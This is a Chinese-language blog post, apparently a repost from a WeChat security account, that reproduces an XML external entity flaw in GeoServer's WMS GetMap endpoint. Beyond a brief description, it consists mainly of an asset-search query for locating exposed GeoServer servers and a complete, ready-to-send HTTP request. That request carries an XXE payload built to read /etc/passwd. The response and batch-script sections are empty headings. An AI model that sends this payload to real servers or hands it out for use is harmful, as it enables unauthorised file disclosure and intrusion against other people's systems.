首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >【漏洞复现】GeoServerXML存在外部实体注入漏洞

【漏洞复现】GeoServerXML存在外部实体注入漏洞

作者头像
熔城Sec
发布2026-07-22 20:11:04
发布2026-07-22 20:11:04
100
举报

漏洞描述

该漏洞源于GeoServer的WMS服务中/geoserver/wms端点的GetMap操作,在处理XML请求时未对实体引用进行充分限制。攻击者可通过构造恶意XML数据注入外部实体,实现读取服务器敏感信息(如文件内容)、发起服务端请求伪造(SSRF)或导致拒绝服务(DoS)攻击。。

资产收集

代码语言:javascript
复制
鹰图平台
app="GeoServer"

发送请求

代码语言:javascript
复制
POST /geoserver/wms?service=WMS&version=1.1.0&request=GetMap&layers=topp:states&bbox=-130,24,-66,50&width=800&height=400&srs=EPSG:4326&format=image/png HTTP/1.1
Host:
Content-Type: application/vnd.ogc.sld+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">
  <NamedLayer>
    <Name>&xxe;</Name>
    <UserStyle/>
  </NamedLayer>
</StyledLayerDescriptor>

返回包

批量验证脚本

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-11-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 熔城Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档